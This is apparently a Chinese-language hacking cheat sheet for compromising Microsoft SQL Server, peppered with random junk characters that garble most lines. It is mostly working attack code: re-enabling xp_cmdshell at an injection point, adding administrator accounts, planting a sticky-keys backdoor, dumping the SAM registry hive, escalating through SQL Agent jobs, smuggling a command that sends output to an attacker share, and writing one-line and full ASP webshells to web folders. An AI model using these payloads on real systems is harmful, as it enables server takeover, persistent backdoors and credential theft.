1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号( G! L- ?" C7 ]; x1 u; J
恢复方法:查询分离器连接后,
7 G1 I7 q/ {9 R' E4 i4 y# G第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int - q' G8 A$ D8 t, i! ^7 I+ I, i& B
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 0 U% F8 U+ O: W* Z
然后按F5键命令执行完毕* m9 N) t: i7 g" t. f8 ?* p1 M
7 \# C/ g/ W0 p+ C: `( ~! G2 K0 j2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
* Z1 T; q) K$ v3 j7 ~恢复方法:查询分离器连接后,8 v9 w$ @8 o4 M
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
; l' f5 N5 M- Y第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
4 H$ F, N! a" {; T3 p然后按F5键命令执行完毕3 `$ d% P# \1 x: a+ g
+ f. l0 B: p" y% `4 \$ {! J
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)+ A, k$ p4 z6 f( \7 m
恢复方法:查询分离器连接后,
+ a0 c! j( h2 m2 F! X/ _第一步执行:exec sp_dropextendedproc 'xp_cmdshell'7 g- L' q( o4 m+ W$ n5 X+ [9 b) R
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
' I' j" u/ u1 H( h' {然后按F5键命令执行完毕$ \( L3 M0 P6 w. M0 {, [, L) Y- T9 Q
" }' r) D* Z7 L; {3 k4 终极方法.
* J& Y" k, ~" d% O如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
: K: W8 |, o6 ]; ]0 t R1 B L查询分离器连接后,
3 c6 j9 s' d8 D P6 D/ o2000servser系统:
8 f3 E' ` @: O- y* ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'0 R# u. U* a P; I/ t3 V
% u* L3 ?4 [& m' s( ]! Y" h& o
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'- d: V; T# ~ c* d E+ ]
6 g+ ]- Y9 U3 K1 ]
xp或2003server系统:/ f1 z8 l0 n( P8 ?1 ?
) S! ]' w7 L& ]declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
% H# h7 j @5 P- O' O6 e4 q& L) z! W6 w$ A* `; S! O' V* d Z+ ]' ^3 c
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'; D. `/ O& _8 T8 J. Z! J$ U
3 m. N3 s Z% |9 \8 i" P$ l8 p: W' R. `6 r l
五个SHIFT
& i3 o! c. S7 O6 ^0 zdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';. d: z5 I: E$ U+ i" k$ [% \
& e( `/ ~6 G* V
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ( m- b3 @, B5 u L
8 J# u1 s: S) C2 o$ |4 N" [- b
xp_cmdshell执行命令另一种方法; Z) T* ]" Z6 @) B/ _9 ]$ b+ R
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 4 u& F" ^- `+ _1 `' }" w
3 ^- p8 K: W1 ?, D) _( ]9 F判断存储扩展是否存在9 k3 ]% K- b1 @( u% w3 s1 w* Y
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'& U9 }! q( G2 J& D# S+ `5 D; Y( S V9 `
返回结果为1就OK
, x7 s [0 ?$ A( c) j& x9 e2 R4 _! P. {5 t$ B* v5 n
2 Q7 b1 h. ^7 e0 j9 |
上传xplog70.dll恢复xp_cmdshell语句:) a$ L, a5 d# h, z* V5 q
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'& D: a5 }2 ]; z/ k2 f7 P' P1 F
: D2 ?1 D% f, I* R否则上传xplog7.0.dll+ B3 Q; o. J6 G: `$ ~, x
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
8 [4 b- n( Y$ d9 R$ c1 S& L: f! Z9 b) l/ g7 V7 ^2 {# U
! G* w4 p* `1 E' _
: o! @' l) y8 x9 ?# @首先开启沙盘模式:) R( c! M Z6 _. C- X
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 ?) R9 W8 b$ a1 K0 e$ I3 T( U
% D- G( S6 b. ?6 v9 P; t然后利用jet.oledb执行系统命令
* p% J1 O' }5 K& Z& |% qselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 v" j1 _6 f# K) }. a- }7 y2 C返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了2 {9 Y4 `+ k9 G% i' ~
; x" P9 B# ?+ G5 A0 @0 P, |
- o- @' P8 v3 [5 N" B) d: u: a: e& ]/ U0 o0 \) |8 @
恢复过程sp_addextendedproc 如下:
0 P, ]+ M; |- Wcreate procedure sp_addextendedproc --- 1996/08/30 20:13 4 Q( i" }3 z+ E
@functname nvarchar(517),/* (owner.)name of function to call */ 8 Z' Z- ^( J. C4 z" y* E! z
@dllname varchar(255)/* name of DLL containing function */
, H3 \2 k! A: A* W' R! pas
0 {; Y; K4 n: J9 @, Uset implicit_transactions off
- U3 D3 c! e) g3 P. cif @@trancount > 0
; }! v& w5 j. K" _& bbegin $ R- q; d b# t8 I8 A$ Z+ M
raiserror(15002,-1,-1,'sp_addextendedproc') ! J. f2 E- S0 r5 D
return (1) 5 _$ X3 q# |. C) F5 T! Y
end
% x0 Z, t) S' N) w0 d i# Adbcc addextendedproc( @functname, @dllname) 2 K5 O/ ^7 k l2 E+ f
return (0) -- sp_addextendedproc
9 L* x# p, [' y2 _# p1 iGO
7 Z3 o) f) k9 i4 h5 B: C7 \8 E+ v1 v# S' z( w! L8 D9 {+ p; \! r7 {& n
G7 ]( D3 e {4 \4 K8 l1 s
. f, S* r+ H; b: Q9 Z: i! v
导出管理员密码文件
: C) V6 R$ t- Nsa默认可以读sam键.应该。- g5 }5 h0 G1 n4 r6 A1 }. E" v: k
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg4 F4 Z# U( t" ?6 g
net user administrator test) y2 Q7 W3 R& N+ w1 Q
用administrator登陆.) _. v0 K' e+ D. s4 S
用完机器后
& L: u! [! V( x. z3 Zreg import c:\test.reg
4 x7 s: ]$ r: w ?5 `" r根本不用克隆.
7 G! g m y! [5 t" ?1 j1 k找到对应的sid.
8 |' s) V3 g* ~+ @0 o5 Z! c; T& t+ @6 p- [
8 u3 e2 S8 Q: P; G( @/ M |0 |; c1 T
恢复所有存储过程
. k( Z7 u- `5 ^1 A* _- Suse master
( ]+ R8 d' `% n1 z5 l- B- V5 n _exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
6 N* P H2 P; a" m0 U/ t, zexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
/ i# r- P0 w9 n! I6 e- xexec sp_addextendedproc xp_loginconfig,'xplog70.dll' : Q5 ]. S" M! V
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
* g' G& j! i4 lexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
) r5 h m$ @1 L/ K6 Aexec sp_addextendedproc sp_OACreate,'odsole70.dll'
* W0 G/ M: s9 {' a( [( ^5 iexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 1 y4 N' h" f% u6 U" s1 F+ s
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' : p, a* A" F9 g3 g) K
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
3 p; {& f8 h" rexec sp_addextendedproc sp_OAMethod,'odsole70.dll' 6 k) O! Y* X7 v5 w
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 1 u7 q0 e* M$ Y) ~6 Y
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
2 t! ?6 Y+ }9 p' {$ D# vexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ( [2 f0 v: o, X6 F, p
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' + ?9 a% a/ ?- @) k, U
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' + O W9 d) _+ b1 a/ _9 f
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
. e( w+ P5 j' Z% x2 D6 Nexec sp_addextendedproc xp_regread,'xpstar.dll'
8 R! N/ ^) P D- q' @ [6 }( W) g1 dexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
5 P' x4 {! A% Y" eexec sp_addextendedproc xp_regwrite,'xpstar.dll' % u7 p5 ^2 n& r* q, { I% {0 b
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'3 w. i& Z7 v; |! p( o: i/ p
* G5 [/ g& p+ p, k. u4 A8 g. V
6 m4 x* j' T( s8 |. X# W建立读文件的存储过程
: Z0 m; L# ]4 a, G' t, JCreate proc sp_readTextFile @filename sysname
! L/ @3 c0 n. I7 z: W! Was
" c- @8 e8 a* Y6 ]' o5 d g: ?# r* ? b0 Q. q1 J9 [
begin ( Z7 c, z$ G! E( v0 S: O# g
set nocount on
4 J$ }( K/ n6 r B Create table #tempfile (line varchar(8000))
% {) J& E$ E+ q2 y- P4 Z exec ('bulk insert #tempfile from "' + @filename + '"')2 a$ _$ p( Y- D& l3 v
select * from #tempfile
$ {7 H$ q" E, Y2 q4 h- p3 v7 X drop table #tempfile: ~( j3 G* P5 f5 A
End
4 ]( [& O& r/ J8 F" V& Y1 D
|: Z6 }3 d% {% X! X* Zexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件7 w& U6 @# c( p! r& l
查看登录用户
1 f" b5 ]+ n8 {0 {. l% k* y5 ISelect * from sysxlogins0 i9 D9 E. F% P3 a
6 j+ G `! f: h
把文件内容读取到表中
, b, r0 t* j. l0 L# Z+ `BULK INSERT tmp from "c:\test.txt"/ Y8 ^+ C& S) @, E3 ~
dElete from 表名 清理表里的内容# j% c/ I+ `( E+ e7 F
create table b_test(fn nvarchar(4000));建一个表,字段为fn
, Q; I) b8 p% d0 e
9 f" W& Q# I+ |8 r0 N
5 W) J4 d# Z2 H i3 t加sa用户
: M, ^2 Z3 d. v3 P* |4 lexec master.dbo.sp_addlogin user,pass;( u( [, \# X% `- G% z
exec master.dbo.sp_addsrvrolemember user,sysadmin
$ D2 P- p- C& d9 p0 z9 S& y+ ~4 C0 H0 H, k, b$ [6 J) J
* f8 o8 _7 R: r: f; N1 A+ H
$ D3 J) f. @& m d+ z6 K E读文件代码1 ?% B" ]: B% t
declare @o int, @f int, @t int, @ret int
2 t4 Y+ q; ^. i# Z. kdeclare @line varchar(8000): a+ n: f. f1 l, ?
exec sp_oacreate 'scripting.filesystemobject', @o out$ |& K/ ^% f* E0 ?& m7 U' |
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1% k3 A# h( {: V, w: }
exec @ret = sp_oamethod @f, 'readline', @line out' q( G: Y5 d8 b* a5 }$ o0 x
while( @ret = 0 )0 i. }! Q- I$ S6 q
begin
) B8 v4 K/ d+ w4 m1 } @print @line! C+ |) y* y$ @6 {3 O: |2 N
exec @ret = sp_oamethod @f, 'readline', @line out
+ m4 X9 |- Q3 q4 J3 Fend5 D: {9 g: t* }3 d) a% Q
$ E/ n1 w6 y6 F" N. B0 c- ]1 o4 @" ^, H+ _" l
写文件代码:
/ W$ B/ ?# ~( odeclare @o int, @f int, @t int, @ret int
: ^( U- w' I4 J9 V6 E2 F! |exec sp_oacreate 'scripting.filesystemobject', @o out
0 N( ? {8 B- G8 I* l M D. fexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1) k' H7 Z0 }: _) E4 a, _( ]1 y
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》1 A& C v- J5 E/ F4 B1 X% W
5 e$ [5 J3 G- n: r' ~* s9 F! a! B O1 S( J. {6 P" u
添加lake2 shell
" }" T5 i; v" O3 X0 _sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'7 q. G( h% e) l. i# y
sp_dropextendedproc xp_lake2
. G$ l8 U7 ^+ k1 j9 C, J, }! dEXEC xp_lake2 'net user'
* N& f6 Y) v' c1 ~; V+ V6 H
C" {$ o, z0 O8 M, o2 |! Y
5 U6 X' x T' T' g+ ?7 ~6 N得到硬盘文件信息
7 z: ~4 h# z: r4 R8 J--参数说明:目录名,目录深度,是否显示文件
; m# u) T8 E% M: [) e0 V1 Fexecute master..xp_dirtree 'c:'
" g% D7 |% b' V/ Dexecute master..xp_dirtree 'c:',1
3 }; F( }( U* `0 L- G" [execute master..xp_dirtree 'c:',1,1 " r; y$ p) |. t6 q
% }" O% t: s6 d- w( k& ~
8 N- Z5 `. l2 \- u8 m& Y读serv-u配置信息
( A) V7 ]7 _2 S& @' o4 Zexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'0 R0 v+ A/ V' J! f
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'6 T# a9 A! p, E% _# l1 n
* g! g* v# @8 ^* f通过xp_regwrite写SHIFT后门
4 ~8 L) l+ P8 Y {2 Texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
% A5 X) P' w$ w' X# l; l4 K& c) J
" R- X( } `9 g) G$ d1 n- L1 }0 U3 p% Q
/ h$ H K" g3 e3 Q4 U找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';1 |0 A! b/ I, x% t, T) y# f
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
/ p/ [) n" ^" x9 ]( n- Q
+ p7 A0 r7 c B% |; ?+ @EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'+ j" b% b* Q4 t
) I% y9 h6 z% K) w3 f, {! D- u: R6 f7 V6 T8 l" @
: M0 @+ N6 z2 l2 }
sql server 2005下开启xp_cmdshell的办法
5 o& O2 i" B: p3 s1 Q* v9 o' n* h. J/ l
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;4 e% }$ D# Z5 u# I
# W. M) G# {; I1 u) @
SQL2005开启'OPENROWSET'支持的方法:2 @; n M6 g8 o2 K# c
r2 @" S5 }1 z2 u
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
; s9 I. W0 X. k8 j, X
3 u+ k4 i- y$ J7 P! Z+ H) hSQL2005开启'sp_oacreate'支持的方法:2 p; b8 I4 j8 Z
; F# @- W1 V3 ?* H& hexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
1 r# {; D% C7 I Z. q. n2 b! b& t) H4 A& f3 I) l1 e
- I& j2 O# i; I/ M2 T0 |
2 U* B0 D& c3 e" o5 x' t
# U4 m1 l+ f+ H6 }
4 K+ P" ?# z- A$ X; z2 w2 @9 u4 q9 m
. u/ f- X, A% d7 ~* g; ?! M' N" Z v5 J
) Z( r f! a$ f0 H. b7 O" `9 B% |/ _4 u/ K! h
! U$ x/ T8 q" ~/ @$ M/ J! u/ [+ e0 n
! [2 ?4 v% ^4 \* q8 O. f6 C- L0 {5 W
6 ]4 P5 d1 d/ F" t
' W* ^% ^! v. |8 l& I! N* h0 w% L c2 K* r2 c4 \
7 l7 t C$ ~- ~7 }# i+ p5 F( x
4 Q: V7 z' \; S5 z0 L/ Z
( h: W6 u- N; }& ^6 M! O% I
: X! ]+ O8 R9 q* t! V* n/ l2 `
, v4 d0 e% O1 w n# W* ^+ O/ w" i% Z
J" E& G- p( B' S+ k; t% K
( b5 R6 L1 a. e+ D* e
& k- z- K# ]# l1 E3 k" O$ F7 q$ X& v1 G9 P3 f, m6 _3 ]6 o/ l* v
以下方面不知道能不能成功暂且留下研究哈:
8 y6 O. ^9 h9 e C' o% s4)6 q& Y0 o' `& V
use msdb; --这儿不要是master哟( `4 b% K3 j( y' p
exec sp_add_job @job_name= czy82 ;
& P0 x. n! V* B( @/ e0 F+ X2 o/ j. gexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;) M: u& Y2 U) c0 a1 q
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
# _; V9 Y8 V* b3 L; [exec sp_start_job @job_name= czy82 ;$ `; [- l$ j4 G- R7 a/ ]: l0 m
0 t* Y r: W& h利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
2 O* B2 e6 @6 t. Y6 G m执行tsql语句了." `) x5 ~( Q2 ]
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名, g( n- J. ^) R6 d' h0 \
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
' M) W# H0 F/ n9 @. [net start SQLSERVERAGENT* ^2 H) Q' P V( t1 U$ C0 s
% `$ w3 x% @) f# \
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
, X4 L( ~% x( D4 A# XUSE msdb; k3 ]% F# ?' c
EXEC sp_add_job @job_name = GetSystemOnSQL ,
, a5 ?4 l2 u$ M" p# A5 Z7 Q" K@enabled = 1,
# J$ }! i+ \/ y. Z7 l@description = This will give a low privileged user access to6 `. O2 n+ r5 ?3 ^3 y6 {* ]5 j+ P
xp_cmdshell ,: x, e3 p4 r9 I) O
@delete_level = 1, [: K1 G! m' r
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,- w1 s& U% m" b& _; }; p2 w
@step_name = Exec my sql ,+ _6 i# O2 Q4 s# C$ T% @& u
@subsystem = TSQL ,# X" c/ c3 z% B4 ^/ ~
@command = exec master..xp_execresultset N select exec, \. h' u; R% W$ G2 S9 Q
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
: B$ J$ b4 S) | }$ `EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
, J0 @' q( ` H, O: R% ]5 R@server_name = 你的SQL的服务器名
3 C( g! k4 a# p2 K% z" o2 nEXEC sp_start_job @job_name = GetSystemOnSQL / @) k% `1 r* b/ r; J" h3 `: A/ Z$ }
w0 X! `) [0 j8 f0 z不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以& U! ]$ d3 e, q% s1 C2 @
才让我们可以以public执行xp_cmdshell
5 U& r! c p) \' n8 ~: G+ ^+ `$ Y( I
. a0 r, n* i& Y3 c4 I/ X5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
+ K# L, p2 }+ P1 d! _( M; W) t" A在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968. A% k, a) O1 G! S( j9 p5 |: `
+ f% T& z( O; m; r9 QUSE msdb% D4 {8 I- j0 Q+ ~ l7 [+ o) L
EXEC sp_add_job @job_name = ArbitraryFilecreate ,- A L$ T: I1 |7 k ]
@enabled = 1,
c. k. d' [4 O@description = This will create a file called c:\sqlafc123.txt ,2 G. V5 d) i0 U
@delete_level = 1! D9 v9 K* b F& F
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,$ ^) p/ P2 t9 |' U: E
@step_name = SQLAFC , V8 b8 G7 a0 S
@subsystem = TSQL ,: j8 P; y2 y3 q6 Y9 [6 a0 q$ N1 w
@command = select hello, this file was created by the SQL Agent. ,
2 v0 d: m" U) ^% f4 x; I@output_file_name = c:\sqlafc123.txt * g- b. A$ p( e& h# M
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
5 T1 o( H# |% G0 o7 F" h$ N+ M+ S@server_name = SERVER_NAME 1 j7 E$ M& z- R+ B2 A
EXEC sp_start_job @job_name = ArbitraryFilecreate Y a7 k) T" b+ C- W0 W4 `
* d! g- U; [* @+ t$ p c
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
p0 K# R5 o t5 P& Z3 h; j
9 q- \2 z+ p. P& V??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
' f8 d1 B% O* O" ~6 ^* R----------------------------------------------5 R5 b* U9 R' _' a$ o, E! t) L7 {
hello, this file was created by the SQL Agent.
% S+ l* Z. ~% h8 G e; w/ n) ]% o1 i" j
(1 ?????). o; e8 |& x) L
! Q( P3 L8 T3 n$ ^所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员/ \( l9 z! D5 j# t+ A& a1 e
命令的vbs文件到启动目录!* Q$ C# w0 ^& z$ @) Z
+ c$ N7 D+ j- u% F0 Z% k6)关于sp_makewebtask(可以写任意内容任意文件名的文件)7 U/ i4 h3 j/ z3 i! L; Y9 P* H
关于sp_MScopyscriptfile 看下面的例子
8 x1 O) M/ W$ J# L& F# J% I' ?declare @command varchar(100)
' I l$ f" q0 @/ q; Xdeclare @scripfile varchar(200) 1 [' V" L% w6 h$ R* n
set concat_null_yields_null off 1 }4 ]& P7 q# V E9 s9 Z0 j
select @command= dir c:\ > "\\attackerip\share\dir.txt"
2 l1 t8 W6 b; }! zselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 9 l7 {' N8 o# q. r/ U+ [
exec sp_MScopyscriptfile @scripfile , 7 r6 E ]9 t5 E0 K# b4 V
% t8 z. o# s- ]$ L* D5 U, q/ c2 H这两个东东都还在测试试哟1 M# P% `) g( w% n) i
让MSSQL的public用户得到一个本机的web shell
6 q: K: h2 P7 u
$ V3 c7 P/ M8 K& Z1 t) e; {# xsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,/ ^- s# C7 O o2 g! B, X% [- g
--@query= select <img src=vbscript:msgbox(now())> 3 a- M% G0 Q0 h+ `2 p% O7 ]' R
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> , p: c; S4 c8 i; W/ V: b' ~* w0 J' x
@query= select
. w; y0 I. K* F: @% j<%On Error Resume Next 1 s9 }+ `3 d6 H# t
Set oscript = Server.createObject("wscript.SHELL")
/ X `8 |; }8 @0 U2 y9 bSet oscriptNet = Server.createObject("wscript.NETWORK")
1 {0 n& L6 f. ?5 K, xSet oFileSys = Server.createObject("scripting.FileSystemObject") : M$ U3 y. w" |6 ]) p
szCMD = Request.Form(".CMD")
' D. K( G) g5 m& _' nIf (szCMD <>"")Then 2 N( W( D) [- G$ a) J+ j
szTempFile = "C:\" & oFileSys.GetTempName()
( a0 s; I9 ~) k- [3 ]1 PCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
0 h" c; o' O+ K1 u' |( R2 M i1 k; z4 CSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
4 O9 g }$ E+ W- @End If %>
p1 \9 W; t: s4 x. E0 E( x& H& l<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> : `: f8 Q; G7 R' m9 F7 z5 h
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> , T" S$ C j2 ~/ ~' o2 |
</FORM>< RE> % Q( p* N* O& R! l1 `) ^* l, c
<% If (IsObject(oFile))Then
/ \* }2 k% [; ~On Error Resume Next
$ i8 G4 L/ I7 }( }Response.Write Server.HTMLEncode(oFile.ReadAll) 2 T1 h) ~2 F6 {8 i& z
oFile.Close
. w7 Q' C8 U- m0 N$ E% N5 b# ICall oFileSys.deleteFile(szTempFile, True) 8 e7 Z, M7 V# I' P% q& J
End If%> / o2 O4 C5 l# X, {2 p/ s6 @- R
</BODY></HTML> 5 a7 B4 }9 i j6 N D3 u
|